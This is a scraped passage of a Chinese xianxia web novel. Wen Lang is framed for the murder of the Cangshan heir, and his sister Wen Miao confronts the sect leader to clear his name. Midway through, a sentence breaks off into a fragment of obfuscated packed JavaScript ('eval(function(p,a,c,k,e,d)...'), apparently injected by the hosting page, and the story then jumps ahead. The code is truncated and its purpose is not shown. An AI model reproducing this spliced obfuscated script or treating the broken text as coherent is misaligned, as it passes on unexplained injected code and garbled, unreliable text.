柳雪堂连开口停下求饶的机会都没有,被从山顶一直打到山腰,撞断了三根黑龙旗的旗杆,身上衣物被剑气削碎得彻底。 最后几个苍山和昆仑的前辈赶来阻止,柳雪堂滚落在众前辈面前,风光倒也仍是风光,且这风光一览无余。 堂堂苍山少主,被打得衣不蔽体,痛哭流涕,在一众人面前又滚又爬。 温朗做得毕竟太过火,触怒了彼时才上任的苍山掌门柳无负。 荐微要温朗去赔罪,否则逐出昆仑。 而崔昭好说歹说,也替他免了皮肉之苦,最后只让他去给柳雪堂磕头认错。 温朗没有丝毫犹豫,背着剑去苍山的大殿,连磕了十个响头。 他额头的血从眉心一直流到下颌,磕完起身就走,一句话不多说,一个眼神也不给苍山的任何人。 说是赔罪,更像是再一次的羞辱。 此事让温朗彻底在五大仙门扬名,也跟苍山结了化不开的仇。 他说着的时候,曦衡君坐在牢房另一角,也叹着气补充道:“温朗是性情中人……后来免不了要遭记恨,柳兄为人嚣狂,是有些目中无人,但他其实……其实也并非罪大恶极……” 温朗瞥他一眼,冷哼着,道:“他要罪大恶极,那我便真该杀他除害。” 温渺问:“那究竟是怎么一回事?” 温朗道:“此人记仇,总是想法设法与我共事,再给我使绊子,上回也是如此。” 说起此事,他本是咬牙切齿,但一想到人已经没了,那点怒火,也跟着烧干净,化为一声长叹。 查探不信教的任务并非凶险,而是难缠至极。 教主娀影狡兔三窟,手下信众颇多,又惯使些古怪的招式。 他们各自领人铲除了两处不信教的据点,但一番交手下来并未将教主本人擒住。温朗的计划还因为柳雪堂捣乱出了岔子,俩人险些动起手来。 柳雪堂实在嘴欠,极爱提起温朗给他磕头下跪的事,温朗只要听他开口便想揍他。 为了不给昆仑惹事,他休息的时候向来会避开苍山的人。 直到那一回,他在河边洗剑,听到背后窸窣声响,以为是柳雪堂又要找打,回过头那人却鬼祟逃窜。 他提剑去追,行至半途,忽闻一声惨叫,走近去看才发现是柳雪堂。 他颈间被割开了一个裂口,伤口处隐隐发黑,正汩汩往外涌血,衣领胸口登时猩红一片。 那血呛到喉咙里,又堵着柳雪堂的嘴,他想要开口说话,却变成模糊不清的“嗬嗬”气声。 温朗慌忙要给他封住气穴,奈何他伤势太重,伤口又有奇毒,如何也救不了他。 柳雪堂大张着嘴,一双眼睛死死地瞪着温朗,手抖个不停,还在胡乱地摸着什么,终于将一个东西塞到他手里,而后紧绷的五指便摊开了,眼中的光也彻底黯淡,整个人瞬间没了声息。 变故发生得猝不及防,温朗还不及从巨大的惊愕中反应过来,那边的苍山修士也循声而来,见到死不瞑目的柳雪堂和满手血腥的温朗,自然是又惊又怒,不由他分说出手便是杀招。 温朗本就是蒙冤,眼下更不能伤人。 加上是在苍山境内,以柳无负的行事风格,怕是不等查清真相便要将他处死。 他原本想先回昆仑,奈何天诛令一下,他履步为艰,最后在琅华境内四处躲避之时,想法子找到曦衡君,才暂时在陈不诲的府邸中藏身。 温朗没好气道:“柳雪堂有个师弟,非说亲眼看到我杀了柳雪堂要逃跑,他怕被我一同灭口,回去叫了人,结果发现我又折返回来抢柳雪堂的法宝。” 他翻了个白眼,又狠狠“呸”了一声,才说:“放屁,什么抢,那明明是柳雪堂硬塞给我的,再说了……” 他在怀中摸索,将团起的布巾展开,露出里面焦黑的物什。“这也能叫法宝?” 牢房中本就昏暗,温渺更看不清它的原貌,用手指轻轻碰了碰。“这是什么?有点像树枝……” 温朗纠正道:“是手指!” 她的手僵了一瞬,又默默收了回来。 她问:“是被火焚烧过吗?怎么成这样了?” “不是。” 温朗摇头。“他塞给我的时候,我还没注意是什么东西,后来发现是手指,指骨焦黑,皮肉却完好无损。不过我这儿没有让血肉不腐的法宝,逃亡的时候手指臭了,眼看要生蛆,我实在忍不了,把肉削干净只留了指骨。” 曦衡君因为与温朗交情匪浅,温朗失去踪迹后,他也被人盯着动向,因此将他送来此处后也不敢来探问内情,直到此刻才知晓这指骨的事。 听温朗这么说,他不由地“咦”了一声。 兄妹二人看向他,曦衡君犹豫了一下,才说:“骨头焦黑,皮肉无损,我只知道一个原因……咒刺。” 温朗霎时变了脸色。 温渺疑惑道:“那是什么?” 曦衡君提起这事,不免有些汗颜,声音都低不少。“咒刺是百年前那魔头的尸骨所化,用来解封他的魔元,五大仙门各持一支……” 至于那魔元,自然是在西陵砚身上。 西陵砚也是因为身上的魔元解封后,阴差阳错挺住了没死成,反而吸收了镇压失败的阴炁,才有力量在西陵府屠杀。 温朗冷冷道:“说到咒刺,不该问你们琅华吗?” 曦衡君更心虚了,但还是坚持小声道:“但我爹说了,琅华与苍山勾结不假,但那支咒刺,据说是借给了了慧大师,但你也知晓……了慧前辈失踪已久。” 温朗盯着他:“这话说出来你自己信吗?” 温渺沉默了一会儿,才说:“那位苍山少主,必然是才发现咒刺的真相,或许这根手指也是他亲手砍下,但……” 但以这位少主的性子,必然是觉得自己发现了大事,想要藏着掖着先将消息送回苍山。 毕竟若咒刺若真的属于琅华,那使用咒刺的人,必然与琅华关系匪浅。 琅华苍山是同盟,他定不会轻易将消息透露出去。 温朗与曦衡君都听懂了温渺的话外音,曦衡君连忙摆手道:“绝不可能是琅华的人!琅华要有这种人物,苍山必然是知晓的!何况柳兄这定是被灭口了啊!琅华派怎么可能派人灭他的口呢?” 他这番话说得也不无道理,温朗见温渺似乎还有不解,问她:“当年西……当年的事,你知晓多少?” 温渺摇摇头:“绮云姐怕我伤心,从不与我多说。” 温朗宽慰地揉了揉她的发顶,道:“当年的仙首之位要轮到游仙门,苍山联合琅华,勾结魔道妖人,试图使昆仑与琅华的镇压失败,而后苍山再出手镇压,用早设下的陷阱铲除魔道……” 原本这个方法,既折损两大仙门的精锐,又除了大批魔修立下功劳,谁知中间出了差错。 魔道妖人知晓苍山想一石二鸟,假意勾结,实则利用,苍山设下的陷阱形同虚设,加上变故太多,最后发展到一发不可收拾的地步。 苍山和琅华被钉在了耻辱柱上,只能推出几个替死鬼。 后来整整一甲子,仙首之位都越过了苍山。 奈何苍山强盛,说到底,死了几百个凡人,对偌大的仙门而言只是有损一时的声誉。 百年过去,那些人命也只是单薄的数字,又有谁还真的计较。 反而是琅华和苍山因为此事,知晓再难撇清干系,索性彻底抱成一团。 琅华的仙首便是苍山的仙首,苍山强盛琅华也要跟着壮大。 若手指的主人与琅华有关系,苍山怎会不知? 即便只是柳雪堂不知,发现了此事要回去禀报,琅华的人也不必灭口,除非是有惊天秘闻隐瞒。 温朗皱眉道:“这手指的主人究竟是谁?或许西陵府灭门,还有些未查清的旧情……” 曦衡君道:“说不准琅华是清白的……” 被温朗扫了一眼,他又补充道:“在咒刺这件事上。” 温渺沉思片刻,说:“但现在要先洗脱你的冤情,才能去查咒刺的事。那位苍山的前辈,定然也不想这样不明不白的死去。” 听温朗提及有人亲眼见他杀柳雪堂这件事,温渺便忍不住想到凌雨提及的无相易容丹。 “或许是有人假冒你,用易容丹变成了你的模样害人呢……” 温朗当然也想到了这一点,但令他不解的是:“变成我的模样也不是轻易的事,究竟是什么人,跟我有这么深的过节,千方百计将我逼到如此境地?” 曦衡君想也不想便道:“那不就是西陵砚。” 兄妹二人都沉默了起来。 温朗叹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温朗听她提及给荐微做饭,不禁打趣了她几句,道:“说到这个,我当初还问师尊,我犯下这样大的错,为什么没有将我逐出师门?” 温渺不解,以为他说的大错是羞辱柳雪堂,便问:“不是因为你去赔罪了吗?” “这种罪过,杀了我也是应该,哪是赔罪那么简单。”他轻飘飘带过,继续道:“师尊说,‘你做的饭菜尚能入口’。” 温渺发觉自己还有些不知晓的东西,与荐微有莫大干系,想要再问,温朗已经哈哈地笑道:“还好学了点阿娘的皮毛,不然早被赶出去了……” “哥,你说的大错是……” 温渺的话出口还没说完,温朗目光一凌,长剑猛然冲出剑袋,寒光一现,兵戈交接声中已经挡下数道剑风。 温朗挡在她身前,警惕地看向来人。 一行人穿着各式门派服饰的修士,约莫有四五十人,从四面八方齐齐将他们围住。 其中一眼望去的银白和青苍,显然是琅华和苍山的人。 领头的苍山弟子拔剑指向温朗,怒道:“好啊!果然是曦衡君在包庇你!这一回,看你还能往哪儿跑!” 温朗凝眉道:“孙前辈,我是受人栽赃嫁祸,你们杀了我,真正害死柳雪堂的人岂不是逍遥法外!” “死到临头还在嘴硬!你说受人栽赃!那又是何人!” “就是,四处躲避,不正是做贼心虚!” “我不躲起来,早被你们压去苍山正法了,柳掌门的性子,诸位岂会不知吗” 然而这些人依旧不容他多说,齐齐杀招上手,显然是根本不打算给他留辩解的余地。 温渺虽然力量微小,仍是拔出剑站在温朗身侧。 她目光坚毅,视线捕捉着杀来的剑招。 “哥,我们不会死的。” 温朗持剑杀过去,见招拆招,纵使剑气罡风密集如雨,面上也丝毫不见怯意。 “西陵砚这种败类都没死,我们当然也不会死!” 林中杀伐之气纵横四方,草木尽数折断,一片飞沙走石。 就在这混乱中,一道绯色身影劈开战圈,直冲温朗而去。 在场的修士都感受到了浓烈的阴炁,一时间不约而同攻击来人,包括察觉到杀意的温朗。 他本就不想伤人,只能且战且退,打得艰难至极。 这一招原本还能勉强闪躲,然而一旦他避开,身后的温渺便势必要受这一掌。 他不可能让西陵砚认出温渺。 温朗一时的恍神,心口已是重重受了一掌,顿时被拍飞数丈,重重砸在树上,连同树干也被砸得轰然倒塌,他摔倒在地口吐鲜红,竟是颤抖着难以站起,易容也开始渐渐失效。 西陵砚从容收手,冰冷道: “那你要失望了,我敢断言,你们会比我先死。” 他说完,在场的修士有人萌生怯意,犹豫着是否继续出手。 苍山的人首先站出,一声大喝:“仙门辖地!还容不得魔头放肆!” 而后又领着众人又一齐杀向西陵砚,似是要从他手中夺取温朗。 此处的动静必然已经惊动正气司,很快四面八方都会有仙门赶来支援,他们必须要坚持到那个时候。 西陵砚不想跟他们继续耗下去,几招下去,已是满地血腥。 混战中,还有人试图攻击温渺。 她只想冲到温朗身边,无论如何都不能让西陵砚将温朗带走。 那些人攻向她,她一时着急,便将方才看他们使出的剑招原封不动打回去。 对方被打得又惊又怒:“你为何会我们的剑法!你是什么人!” 温渺边应对边无奈道:“我现学的。” “胡扯!你当自己是天纵奇才?” 说着,温渺只好换了套剑招打过去。 又一人惊呼:“是我们华剑山庄的剑法!好啊,卑鄙小人,何时偷得我派修炼秘籍!” 温渺这回也不解释了,只管将脑海中记得多少便打出多少,然而学得到底是粗糙了些,仍是被打得连连后退。 她被剑风刺伤,也不管伤势,朝着温朗跑去。 跑到中途,竟看到不远处有个人影,正朝着她走近。 凌雨仍是那副打扮,背着琴,见到眼前的混战也不见慌乱,反问她:“小枣姑娘遇上麻烦了,要帮忙吗?” 温渺不及回答他,只见那抹桃红飞速袭来,她惊慌中闪身过去,持剑要替温朗挡下那一招。 灵气运行全身,却仍撕扯到腿伤的旧伤,疼痛瞬间涌上来。 温渺忍着疼,不顾自己的跛足,只想飞快跑向温朗,越快越好。 西陵砚面色冰冷,毫不犹豫的一掌杀向她。 熟悉的面孔,宛如噩梦重现的一幕,温渺的恐惧随着一袭粉红衣袍,仿若遮天蔽日般再次将她覆盖。 她的人生将再次被毁灭。 温渺近乎绝望地挡在温朗身前。 然而下一刻,从后袭来的一掌竟越过她,硬生生接住袭来的杀招。 纵使如此,温渺还是被掌风掀飞,摔在温朗身旁。 然而替她挡招的人,却是像个断了线的风筝一样飞了出去。 凌雨! 温渺眼睁睁看着他被打飞数十丈,直接扑通一声坠入河流中央。 西陵砚似乎也愣住了,垂眼看了看她,一时间没有动作。 此刻仙门的援兵也纷纷赶到,周围的修士越聚越多,召出重重法阵试图困杀西陵砚。 他视线扫过河流,竟不再纠缠,转身便离去了。 温渺伏在地上喘息,有人冲上来将温朗拖走,她深知自己无力反抗,在那些人出手想将她也带走之前,她毫不犹豫冲向河边,纵身一跃。 14.第 14 章 抓到温朗是一等大事,跑掉一个名不见经传的小修士,显然没有几个人会在意。 此时仍是冬日,河水冰冷刺骨。 温渺感觉到右腿的旧伤又在隐隐刺痛,但这点疼痛对现在的她来说并不算难以忍耐。 她在水底艰难地睁开眼,试图捕捉到另一个身影。 然而过程并不算顺利,她浮上水面换气,再潜入水中,再浮上去,如此反复几回,才总算抓到了凌雨。 温渺带着凌雨浮上去后,身体已经冷到麻木了。 然而凌雨面色苍白,无知无觉地躺在地上,任由她拍打呼唤,始终没有一点醒来的迹象,似乎连呼吸也消失了。 她抖着手捶打他的胸口,试图将他呛进去的水砸出来,见效却并不大。 温渺脸色白得吓人。 温朗被抓走了,凌雨为救她遇险,她好像什么也做不了。 她重复锤了几次凌雨的胸口,见效果不佳,又拨开他脸上的湿发,捏着他的下巴掰开了双唇,俯身为他渡气。 两个人嘴唇紧紧贴在一起,却是带着相同的河水的湿冷,毫无一丝旖旎。 以前府中有人落水,温渺看到过这种救人方式。 她不知道是否有效,只能尽力一试。 渡气后,她起身还要再试,却发现地上的人已经不知何时醒来,湿润的双眸正紧盯着她。 温渺忙解释道:“对不住,我方才在为你渡气,不是有心冒犯……” 然而她再看,却发现凌雨的目光有些古怪。 他双唇轻轻颤动,似是有话想说,又强压了下去。 那双直勾勾望着她的眼睛,仿佛能让人从中看出些疯狂。 温渺以为他是受了重伤身体不适,问:“你的伤势如何了,我带你先回城中找医师……” 她正说着话,凌雨却自顾自抬起手,将她颊边凌乱的发丝拨开。 温渺原本想制止,但是她发现凌雨的手在抖。 看来是伤得不轻。 她当即将他扶起,道:“我带你回永州城。” 凌雨半个身子的重量都压在她身上,好在温渺此刻已经能如常运使灵力,背着他并不算艰难。 凌雨半靠着温渺,两个人的发丝湿哒哒地滴水,混在一起难分彼此,仿若缠绕紧密的藤蔓。 凌雨的脑袋微偏,无力一般倚在她肩颈。 他的声音很轻,像是痛苦,又像莫名其妙的愉悦。 “我知道你会来救我。” 他喃喃道:“谁让你是好人呢……” 温渺满脑子都是如何救温朗,听到他的话只是应道:“你待我有恩,救你是应该的。” 凌雨轻笑一声,说:“就算没有恩,你也会救……” 她叹气道:“你再忍忍,我会尽快。” 温渺想用最快的速度赶回永州,然而行至半路,已经遇上了闻讯赶来的赵前辈。 见温渺姿态狼狈,她连忙迎上前询问。 听温渺说明了方才的事,赵前辈道:“不知何故,苍山的人知悉温朗藏身在此,你们一走便派人紧随其后。或许是子进这孩子受人监视……” 温渺扶起凌雨,道:“前辈,我的好友为救我受西陵砚一掌,还请前辈救他性命。” “西陵砚?”赵前辈看向凌雨,不禁皱眉道:“他的修为竟能撑到现在……” 温渺又道:“还有昆仑……” “我已将此事告知崔掌门和温朗师尊,你且放心,随我先去疗伤。” 赵前辈说完,温渺才感觉紧绷的神经有些许松懈,身上的疼痛也逐渐变得清晰,她才注意到肩膀的旧伤开始渗血,连同背后被剑气划伤的地方也火辣辣的疼。 她咬牙道:“不必了,请前辈将我这位好友带回,我还有要事,若能平安归来,他日定登门道谢。” 她说完,感觉到凌雨的手攥住了她的衣袖。 赵前辈:“你要去苍山?” 温渺点头:“温朗被带走了,我必须去找他。” 赵前辈叹息道:“你去了,又能做什么呢?” 温渺浑身湿透,像只落水的猫一样,更显得脆弱无助,然而一双眼黑亮有神,丝毫不见怯弱。 “我留在这里,同样做不了什么。” 她知道自己去了没有用,或许会死,但她还是要去。 “你这又是何必……”赵前辈似乎还想劝她。 倚在她身上,好似伤重无力的凌雨却幽幽开口道:“不必劝她了,她的性子就是如此……明知道没有用还是会去做。” 温渺觉得莫名,本想反驳他两人并不相熟,这话说得好似很了解她一般。 想了想,她又觉得这样说话太疏离,明明凌雨为她挡伤两次,显然是将她当做过命的好友,她又怎能说这样的话惹人伤心。 温渺想不到如何应答,索性沉默着没说话。 赵前辈想让身侧的弟子将凌雨接过,他却摇摇晃晃地支撑站起,剩半个手臂搂着她的肩借力。 凌雨道:“我和你同去……” 温渺觉得他是被西陵砚打傻了,毫不犹疑拒绝。“你伤成这样怎么去,何况你去做什么?” 他摇头:“我没事。” “你事大了。”温渺将他轻轻推到赵前辈那边。 赵前辈的弟子将凌雨扶住,温渺道:“我这位好友暂且托付给前辈,先行一步了。” 说完,她又转向凌雨,安抚道:“你会没事的,只要我活着,就一定会再找你报答恩情。” 凌雨薄唇微抿,苍白的脸上仍有湿漉漉的水痕,见温渺态度坚决,他垂下眼,良久后,道:“好,只要你活着……” —— 琅华与苍山相邻,温渺日夜兼程赶去苍山派,并没有耗时太久。 只是她心急如焚,总觉得时间漫长,每时每刻都煎熬无比。 路上她边走边探听,好在只听闻杀害苍山少主的温朗被抓捕回苍山,并没有听闻他已被处死的消息。 一路上她想了很多,她与温朗才离开赵前辈的府邸,立刻有一大批人做足准备来抓捕温朗,想必是他的行踪早在不知何时被透露了出去。 温渺在心中细想了很久,曦衡君知晓自己被苍山的人盯着,分明也是很小心的,那究竟是何时? 想来想去,想到了在矿洞遇上教主娀影的那一次。 娀影身边的假温朗,容貌一模一样,且在那之前,已有传闻说温朗被不信教的教主关押,想要交到西陵砚手里。 而曦衡君却能第一眼便断言那个温朗是假冒,绝不是他本人,且毫不犹豫出手杀死了假冒温朗的邪修。 显然正是因为他比任何人都清楚,真正的温朗绝对不可能在娀影身旁。 分明早有端倪,若是细心,总能想到这点。 只是当时多数人都想着,他们二人私交甚笃,曦衡君的反应,是因为不相信温朗背叛正道。 要是当日的琅华修士中,有人疑心后通报给苍山,那今日的事便不算奇怪了。 可苍山的人还好解释,西陵砚又是如何寻来的? 温渺想不明白,好端端为什么西陵砚会突然现身,半途打伤凌雨后又收手离开。 或许堕入魔道的人,当真能性情大变到这种地步,做事也是阴晴不定。 温渺还有思绪尚未理清,然而眼下事态紧急,容不得她再找人询问。 等赶到苍山派脚下的时候,有守山门徒将温渺拦下,要她说明身份和来意。 五大仙门中,苍山最是规矩森严。 温渺身上还有荐微留给她用来应急的手令,但她只是昆仑名义上的外门,她欠荐微的已经够多了,此事如果不能善了,此刻她是万万不能再将昆仑牵扯其中。 思及此,她并未出示身份,而是说:“我是来向柳掌门禀告,五大仙门中有魔道奸细,贵派少主正是被奸人所害,请柳掌门明察。” 这种话可不是能用来玩笑的,她说完,那门人上下扫了她两眼,到一旁与同伴低声交谈后,又打量了她一番,道:“若你是胡说,可是要受刑的。” 温渺坚定道:“若我是胡说,大可以处罚我。” 她这般说完后,那人便领着她进了苍山。 进入苍山如此轻易,以至于温渺有些以外,问他:“不用再查验身份吗,若是邪魔外道混入苍山……” 那门徒听她问,带着点得意地说:“听你说话的音调,是从昆仑来的吧。苍山自然不能与昆仑相比,若有邪魔想来,我们敲锣打鼓相迎,送他们重新做人。” 听这话,是苍山很厉害的意思了。 温渺好奇道:“那要是很厉害的怎么办?比如……比如四邪。” 苍山修士指了指头顶,温渺朝头上看去,只是寻常的蓝天白云,并没有什么奇特。 那修士又道:“看着没什么,但莫 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法阵共六支诛魔箭,但其实是有三层,每发动一层便多一支诛魔箭。 一箭邪祟消,二箭道法灭,三箭神仙死。 他的话虽有些托大,但这法阵的力量不容小觑,否则苍山也不会成为仙门辖境内妖邪最少作乱的存在。 温渺听他这么说,至少是不用担心在此处遇上西陵砚了,即便无可奈何她的身份暴露出去,一时间也不至于被这个疯子杀到面前。 苍山不比昆仑严寒,冬日里也只用穿着轻薄衣衫。 不像昆仑处处是陡峭的雪峰,苍山派设立在繁华的主城,城中四处可见飞扬的黑龙旗帜。 温渺被一路带到苍山派的议事大殿,殿外宽阔的大堂中站着好几排人,穿着各式各样的衣物,隐约可见身上的门派信物。 她一眼便认出了琅华的修士,而后再看,还有个人一身白袍,待走近些,才发现那人也面目表情地看着她。 温渺心下一凛,脚步因心虚跟着僵了一瞬,下一步怎么也迈不开。 这不是荐微仙长吗?! 见温渺脚步停住,那人推了她一把,说:“后悔也没用,我已经通报给掌门了,快去……” 温渺被他推得趔趄了几步,暴露在了大堂中。 一时间所有人都将目光转向她,甚至还有人挪开脚步,站到一边去,好让前方的人都能看清。 温渺这时才发现跪在大堂中央的温朗。 他发丝凌乱,低垂着头,双肩上有两个血洞,像是被什么利器穿透,此刻他跪下的位置已经积了一片干涸的血迹。 温渺看了一眼,呼吸仿佛都变得冰冷,指甲死死掐着掌心,抬头朝殿前的人看去。 男人身形瘦长,长相也算斯文,但一双眼神却好似盯着猎物的鹰隼,透着股阴狠的精光,连带皱眉掀起的褶子都仿佛锋利得能割伤人。 他穿着黑色的衣袍,腰间挂着龙形黑玉,只看他的位置,也不难猜出是什么身份。 “你说,五大仙门中有魔道的奸细……” 柳无负一开口,沙哑的嗓音像粗粝的沙子滚过众人耳道,听得人莫名不适。 而他冰滑如刀的视线,也从在场众人身上一一掠过,最后停在温渺的脸上。 她纵使有不安,此刻也只能强压下来,在众人的注视着往前走,一直走到温朗身侧。 温渺道:“正是,杀死令郎的凶手另有其人,还请柳掌门严查!” 他说完,柳无负一抬手:“相助天诛令犯人,视为同罪,拿下。” 说罢便有人要上前押住温渺,她立刻拔剑,那些人眼见她长剑出鞘,正要攻向她,便见她将剑刃横在了自己颈间。 众人被她的举动惊到,动作也跟着停下。 温朗抬头看她,恼火道:“小……你这是做什么?” 温渺这一次却是看向了琅华派的位置。 曦衡君正垂头丧气,站在一个男子身后,显然是被教训了一番,而那银白衣袍的男子正是当今的仙首,琅华掌门徐伯远。 温渺站得笔直,目光熠熠,朗声道:“琅华掌门声称从未派人用咒刺解封魔元。可如今使用过咒刺的人还活在世上,若他不是琅华之人,仙首便不想摘掉这口仙门败类的黑锅吗?若他是琅华的人,仙首更该为琅华,为天下除害!” 15.第 15 章 温渺的一番话掷地有声,将在场众人的目光纷纷逼向了琅华掌门。 他忽然被众人这么盯着,一时间竟看向了柳无负。 柳无负冷哼一声,道:“仙首听到了吗?那丫头在跟你说话,看我作什么?” 是不是琅华派人用了咒刺,身为琅华掌门,自然比任何人都清楚。 徐伯远讪讪地收回目光,换上一脸严肃,质问道:“你说使用过咒刺的人活在世上,又有何证据!” 温渺看向温朗,他必然已经将那根焦黑的指骨交代过,但是柳无负不会轻易相信。 何况琅华背了这种黑锅,又不是苍山背的,他不必要在意琅华的声誉。 她还在昆仑的时候,荐微便说过,对于柳无负而言,在意的并非柳雪堂之死的真相,而是人死无法挽回,他的死是否值得利用,好为苍山带来价值。 柳无负的吩咐是抓住温朗当即处死,可她一路赶来苍山,柳无负仍留着温朗的性命,说明他知晓了温朗所说的咒刺一事后,也在心中考量如何抉择对苍山更有利。 温渺接着道:“那根被咒刺反噬指骨,此刻就在我身上。” 她直视柳无负鸷鸟似的双眼,强装镇静道:“倘若如仙首所说,此人不属于琅华,自然也不属于苍山,说明西陵府惨剧背后仍有推手,百年来却不声不响……” 她说这番话的时候,克制着让声线不要抖,以免被看出心虚。 毕竟她并不了解这些仙门争斗,这些话都是赶路中途绞尽脑汁才想出来的。 据说柳无负是个睚眦必报,冷酷多疑的人,就算她的话漏洞百出,只要能让他动摇也勉强够了。 此刻杀了温朗,既是不将琅华的清誉放在眼里,也会为日后埋下隐患。 毕竟话说到这种份上,倘若苍山处死温朗,日后咒刺的事又被有心人查清,杀死柳雪堂的另有其人。 苍山误杀昆仑这百年最杰出的修士,便算是与昆仑结了仇怨。 柳无负面无表情道:“说这么多,你又要如何证明人不是温朗杀的,三言两语便想将罪名推个干净?” 他说完,一个苍山弟子发声道:“是啊,我分明看见是温朗杀了少主!” 此人便是温朗所说,亲眼看到温朗杀死柳雪堂后回去报信的人。 要么他是看错了胡言乱语,要么就是真的有这回事。 温渺见他言辞凿凿一脸愤怒,似乎又不是假装,那或许便真是有人冒充温朗杀了柳雪堂。 温渺质问道:“你既是亲眼看见,那敢问温朗既然逃脱,为何又会回来,他是用何物杀死柳少主,若是用他的佩剑,那剑上可有血迹?” 她分明记得温朗说过,当时他是在河边清洗佩剑,那剑身理应光洁如新。 那人又道:“他逃走必然是去清洗佩剑,想佯装无罪!” 温朗终于忍不住了,讥讽道:“佯装无罪?那我直接跑掉,不在场不是更好,何必还要回去,什么猪脑子……” 旁边的荐微轻咳一声,温朗知趣地闭嘴。 这么一说,虽难以证明温朗无罪,却又的确很难将他定为凶手。 柳无负已经知晓有仙门暗中使用过咒刺,倘若仅仅为了让昆仑欠下人情而推罪给温朗,岂不是浪费了一个打压其他仙门的机会。 他冷冷道:“你说被咒刺反噬的指骨在你身上,那便取出,让我查验真伪。” 温渺却没有立刻照做,而是不卑不亢道:“请仙盟的诸位还温朗清白。” 温朗临走前,将那根指骨交给了她。 倘若她轻易交出,柳无负反而不认账,那一切便难以回转了。 何况这么大的事,要查出始作俑者遥遥无期,难道要温朗一直被苍山关着,直到他们查出这根指骨属于谁,是哪个仙门背后黑手,又是什么人去灭口柳雪堂才肯放人? 要是一直查不出,总不能永远关着他。 柳无负的眼睛本就狭长,眯起来的时候像极了薄而窄的寒刃,被他盯着看,宛如有刀子悬在脖颈。 “你在威胁本座。” 温渺最见不得好人被冤枉,从温朗被重伤抓走,一直到此刻见他跪在堂中,她心里都憋着一股火气。 “我只是让柳掌门秉公行事,还好人清白,将恶人绳之以法,这不是仙门正道该当该为之事吗?温朗修行多年,为正道为天下除魔无数,救了多少人,如今背上污名,诸位自诩正道,便要眼看正道栋梁受尽冤屈,连一个正名的机会也没有吗?” 温渺在西陵府的时候,总觉得仙门中都是最厉害的人物,他们法力高强,除魔卫道,做着保护天下苍生的事。 然而醒来的这短短不到两个月,便让她发现原来世道并非她想象的那般好。 所谓修士也是肉体凡胎,有人的地方便少不了争斗,何况是站在权力顶峰的五大仙门。 柳无负的神情依然没有因她的话有一丝触动。 像这样徒有一腔热血,满脑子正直公道的人他见多了,仙门中不乏这种人物,其中大多是一辈子给人垫脚的蠢材。 “将话说得再响亮,你也还不了他的清白。杀人偿命,善恶不能相抵,这个道理昆仑没教过你吗?”他说着,瞥向一侧的崔昭。 温渺也毫不示弱地盯着柳无负看。 “我不是昆仑的修士,我的道理都是我阿娘教我的,她教我做事讲公道,要无愧于心。” 温朗丝毫不像个犯人,反而满面自豪,大声道:“说得好! 我温朗无愧于心,没做过的事就是没做过,五马分尸也是没做过!” 他说完这话,柳无负面上的寒意显然更深了,他问:“你是温朗的什么人,如此为他说话……” 温渺道:“不论他是我什么人,今日我都会站出来,不公道的事,本就不该冷眼看着。” 她说完,有人窸窣出声:“说说罢了,必定是与温朗交情匪浅……” 温渺并不理会,她话已经说了,并且她的确是如此想,也会如此做,旁人的想法本就不是她能左右。 底下的人原本多是来看戏,毕竟一个昆仑的弟子与他们并无干系,死了儿子的是柳无负,他们不知内情怎好相劝。 但扯到五大仙门中有人与魔道勾结,那便是大事了。 何况温渺将话说到这个份上,在场已有不少人为之动容,碍于柳无负睚眦必报的性格,几次欲言又止。 今日之事显然是不好收场了,无论如何,落到柳无负手上,温朗不死也要被扒层皮。 “是啊,柳掌门。” 温渺朝出声的人看去,只见那俊美男子穿着一袭水蓝色衣袍,宽衣博带,玉冠簪花,手上捏着一柄折扇,一副风流姿态,也朝她看了过来,面上带着温尔文雅的笑。 他继续道:“事关令郎的死因,也不好草草断案,毕竟这可是荐微的大弟子,你将人杀了,日后查出是冤枉了人家,杀人偿命,谁又来赔这条命呢?” 温渺想到凌雨,他也常常这样笑,但给人的感觉并不同。 凌雨的笑似乎只是为了礼貌,人却仍疏离。这个男子的笑起来,便让人心中多的一股亲近。 只是他身上并没有仙门标识,温渺认不出这是哪一方的人物。 那男子一开口,柳无负便换上了一副讥讽嘴脸。“沈掌门话说得好,背上天诛令的罪人什么身份没有,那往后个个要自证清白,我是没闲空跟他们耗,不像沈掌门从容得很,为人刚正,最适合当这青天判官。” 他这番话说得夹枪带棒,即便是温渺也猜到了,那风雅男子名为沈芳,正是游仙门掌门。 世人多礼称他芳留君,因为极好风雅,衣衫总是用熏香浸染,路过某处后,都会留下一阵扑鼻香气,又有名号衣过留香。 温渺心中暗道,难怪他身边要空旷许多,看来身上的香气当真浓郁非常。 她在昆仑听孟绮云说过几次,芳留君名为掌门,实则早就两手一撒,将门派大小事务交予他的大弟子打理。 苍山与游仙门不和已久,加上两位掌门的性格堪称云泥之别,也是处处看对方不顺眼。 仙盟中的争斗,大多也是围绕这两大仙门而来。 芳留君一开口,温渺便感觉到那股刀子般的视线挪走了。 眼见两方夹枪带棒又要吵起来,徐伯远适才开口道:“既如此,你将那手指作为证据上交给柳掌门,待他查清,自会放走温朗。” 温朗早和苍山结仇,何况柳无负又声名在外,她怎能放心将证据交出,任由温朗留在苍山。 何况万一这根手指的主人查到了,柳雪堂的死却仍要扣在温朗头上,那又找谁说理。 温朗翻了个白眼,道:“敢问仙首,我跟苍山有过节,现在被他们冤枉,你还让苍山给我证明清白,真是刚正不阿的青天大老爷啊。” 芳留君毫不掩饰地笑出声,随后看向荐微的方向,道:“昆仑掌门今日不在,这可是你的好徒弟,怎么也不护着?” 荐微淡然道:“在下相信柳掌门只是丧子之痛一时心急,不会想为此事与昆仑交恶。” 柳无负斜睨着他,冷笑两声。 荐微的意思已经很明显了,他相信柳无负不敢就这么杀了温朗。 昆仑比起苍山虽式微,但仍是五大仙门之一 ,从前一直保持中立,若为此与苍山有了龃龉而另投游仙门…… 柳无负也不是个轻易退让,仍道:“天诛榜的规矩人人都知晓,只为他是你的徒弟,便要坏了规矩,留他的命让门中修士为他奔波自证,日后天诛令还有何用,只要身后有靠山的,谁又敢杀?尽管放了便是。” 温渺立刻道:“那便是天诛令的不公!未经证实便轻易定人死罪,是……” “住口!” 柳无负怒喝一声,带着逼人的威压。 